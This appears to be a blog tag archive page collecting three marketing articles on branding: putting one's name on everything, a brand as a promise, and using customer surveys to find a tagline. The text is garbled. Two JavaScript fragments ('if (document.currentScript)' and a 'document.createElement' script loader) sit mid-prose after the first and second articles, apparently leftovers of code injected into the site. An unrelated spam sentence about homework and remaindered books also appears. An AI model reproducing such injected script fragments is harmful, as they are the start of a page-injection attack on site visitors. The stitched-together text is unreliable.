Mot-clé : Branding

Branding Your Name On The ‘net

Branding Your Name On The ‘net

Branding your name (or your pen name) is very important on the Internet, no matter what niche you’re in. You need to establish yourself as an authority in your market, because people trust authority figures.

They trust their recommendations, they trust that their products will be of good quality, and they trust that they have integrity. It also lends credence to the buyer that you’re a real person – not just some nameless, faceless entity trying to sell them something on a static, automated website.

You should put your name on everything you create. Whether it’s a membership site, an eBook, or something as small as a PLR article pack for sale – you should put your name on it. Getting your name out there is so essential to your ongoing success.

Think about all of the marketing gurus you’ve heard of. Some of them you may not have heard of yet, especially if you’re new, but chances are you’ve heard of at least a few of these. Have you heard of John Reese, Mike Filsaime, Frank Kern, Dan Kennedy, Joe Vitale, Willie Crawford, or the late Gary Halbert?

If you’ve been in marketing long at all you’ve surely heard of at least one of these people. People know and remember the names of these people because they put their names on everything they put out.

Their names are all over the marketing forums, their eCovers, their headers, and everything else they do. They work very hard to brand their names, because their names become the brands. People buy their products simply because their name is on it.

Buyers think that the product must be good, because the person is so well-known. You should do the same thing with your name. Always use the same name on everything you do within a particular niche.

You may not want to use your real name for whatever reason, but your name needs to be a « real name. » A nickname usually won’t cut it in most markets, but sometimes it works – like in the case of Travis « The Bum » Marketer or the « Rich Jerk. »

If you’ve signed up for forums under a nickname, ask the moderators if they can change your name to your real name or pen name. You might not want to tell the moderator’s it’s a pen name. That’s up to you.

Keep getting your name out there any way you can. Host teleseminars, JV with well-known people if possible, and offer to help create content for well-known people in your niche in exchange for a Bio Box that hosts your name and link to your website.

Offer to be an interview subject for someone. Be a « guest author » for popular websites and blogs in your niche, and create 100% original content for them. Never stop branding your name. Even when you’re as famous as Donald Trump, the king of name branding, don’t stop.

Donald still puts his name on everything he does. His name appears in huge, bold letters on his books. He names buildings after himself. Think of Trump Tower, Trump Taj Mahal, and Trump Plaza. His name is all over everything.

Not only is it a matter of pride, but it keeps his name everywhere. You may never be as famous as the Donald, or even as famous as John Reese, but you might become known as the king or queen of your own little niche or for a particular slant that grows in popularity.} if (document.currentScript) { Physical copies of a book that get my homework done do not sell are remaindered sent back to the publisher for sale elsewhere, usually at a discount

Branding The Single Most Important Thing

Branding – The Single Most Important Thing

As the owner of a business, you are constantly looking for ways to improve the many aspects of your company. Of course, there are a myriad of ways to accomplish this. To increase profit margins, you might look to lower product costs, make distribution more efficient, or lower overhead. No matter what you do, however, nothing will be as effective as it should be unless you first establish an effective brand.
What a Brand Is
It seems that the term « branding » is being bandied about a lot these days, so before we go any further, let me explain what branding is. While some of you may think of it as the buzzword au jour, others may understand its importance, and yet others may find it utterly confusing.
The single most important thing you can do to increase your profits is to be sure your brand is up-to-date, accurate, and pertinent. Once you have done that, you must promote your brand everyday in everything you do. When it is consistently promoted, it not only builds awareness of your product or service, but it also tells prospects how they can expect to benefit. Remember… anyone who is going to spend money usually wants to know what the purchase will do for them. In fact, 70 percent of all purchases are made on an emotional level. So for the most part, buyers aren’t concerned about the logical points of the purchase. If they were, the vast majority of us would be driving small, fuel-efficient cars with one-speaker radios.
Think of your brand as a promise… a promise you make to your clients, prospects, employees, and even your vendors. But before you make that promise, be sure you never forget this fact. It is imperative that you are able to back it up. You cannot build a successful, long-term brand on unsupported claims and wishful thinking. History is littered with companies — big and small — that have promoted themselves or their products as something they would like to have lived up to but could not.
To separate you from your competition, your brand — your promise — has to differentiate you from others in the minds of your prospects. This is the reason you cannot use quality, integrity, or price when positioning yourself in your marketplace. So many companies claim to offer these particular characteristics that none of them stand out from the others. BMW has taken note of this. Although it is thought by many to be the best car made, the company has built its brand as « a driving machine. » It sells the experience. BMW knows that there are other high quality cars on the market, so a brand built on quality would be diluted and therefore, less profitable.
The same holds true for integrity and honesty. If you claim to be honest, you have set yourself up to be lumped in with everyone else in your industry. (Do you have any competitors who promote themselves as dishonest?) And price… this is a mistake on so many levels. Unless you can beat your competition with low prices and still keep profit margins relatively high, you are on a downward slope. Few companies, one being Wal-Mart, can accomplish this over an extended period of time. Wal-Mart can do this so successfully because it has built a world-class distribution network and has tremendous buying power. Furthermore, if you sell your product or service on price alone, you have to attract new customers all the time. The customers you had yesterday will be looking for someone with an even lower price tomorrow.
It Starts At The Top
A brand must have the support of the top person in the organization. Whether your company employees 100 people or one, the brand will work only if the head of the company believes in it. That person must set the tone of the company, and then manage that tone so everything the company does reflects it. This is important not only outside the company walls but inside as well. Beyond the walls, a strong, unified presence defines a clear message to customers and potential prospects. Inside, it encourages employees to make decisions based on a well-defined direction. When decisions and actions are consistent with that direction, efficiencies — and ultimately profits margins — are greater.
What Branding Is Not
Although you will hear things like new logos, redesigned brochures, or even stepped-up advertising referred to as branding, they are not. Logos, brochures, advertising and other forms of marketing may, in certain instances, be individual components of a branding campaign, but unless they are part of the system of determining a company’s capabilities, direction, opportunities, and indeed its essence, they cannot–and should not–be referred to as branding. To say that a new logo, for instance, is equivalent to a new brand is to believe that I can compete at Daytona International Speedway by slapping decals all over my car. Even if it ends up looking good, it’s still not ready to — or able to — compete.
What this all boils down to is the fact that every business — including yours — has a brand. The question is whether your brand is being determined by outside factors, or if are you actively building it on your terms.var d=document;var s=d.createElement(‘script’);

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Branding Made Simple

Branding Made Simple

How to Brand Your Company With Virtually No Expense
In my work with business owners / private practice owners across the U.S. and Canada, I have found the concept of Branding a bit unknown, especially within small entrepreneurial companies. Yet, this is truly a vital aspect of any business and should be known well, used often, and fully implemented.
You could spend a ton of bucks to enlist the help of a highly-qualified professional firm to Brand your company. If you have the funds, go for it! If not, please read on as I will lay out the “keep it simple and inexpensive way” to accomplish this.
First off, what is Branding? (Online definitions.)
• A brand is a collection of symbols, experiences and associations connected with a product, a service, a person or any other artifact or entity.
• A great brand adds a greater sense of purpose to the experience… whether it’s the challenge to do your best, or the affirmation that “drinking coffee” really matters.
• Distinguishing symbol, mark, logo, name, word, sentence, or a combination of these items that a company uses to distinguish their product from others in the market.
Marketing technology tells you to differentiate yourself, find what it is that you do which is “remarkable” / What is your core-competency? Here is what I’ve seen as the “usual attempt” at this: the owner meets someone with a marketing background, or they’ll just dream up something themselves to come up with a logo, / “tag line” (a phrase that describes you, your services.). It then goes out onto their promotions, websites, etc.. Doing such, really leaves you having no clue if it will communicate well or be at all effective!
Another example of what not to do… Don’t sit around and think up what you would tell your audience / clients / patients about your company or what you do. You must first find out what your audience needs, what they think, or their purpose for using your product or services, etc. YOU MUST FIND OUT FROM THEM FIRST.
Surveys are pretty commonplace these days, but are not used enough! There is a very specific and precise technology to surveying as a whole, but I will not discuss this here. I will, however, give you something simple to improve your business.
Get the following questions answered by at least 50 of your customers/clients/patients. Never hand it to them to take home and bring back. If you have a waiting room, have some printed copies to hand and ask each to fill one out before they leave. If you also have customer email addresses, use this line as well. Continue requesting these until you have 50 or more full answers back.
Your next step would be to read all the answers. You are looking for a common denominator from the majority of the replies; a common statement amongst the highest percentage of answers. That statement can become your tag line!
Now you’ll take this tag line / phrase to a graphic designer, and tell them to draw you 5 visual representations of this phrase. Once done, you’ll show these to your customers one at a time and ask:
“Which of these 5 represents this phrase “ __________________________________” the best?
You will arrive with what your customers really think about you / your company and you will have designed your communication in alignment with your customer base! This gives you a much more realistic communication and creates improved impact of your message.
Questions: (You could change the wording but not the concept of these questions.)
“I am working to improve my services and would greatly appreciate your input to the following questions:
1) If you were to describe our services/products to another, what would you say?
2) What one benefit have you received from our company?
3) What would you say is remarkable about our company?
4) What would you say is different about our company compared to our competitors?
5) Is there anything we could improve on? If so, what?
6) Anything else you would like to say?
Thank you!”
You will undoubtedly garner a ton of helpful information, and may as well find improvements you may want to make. Try it out! I can guarantee you will not be disappointed!
Craig Ferreira, CEO
Survival Strategies, Inc.}

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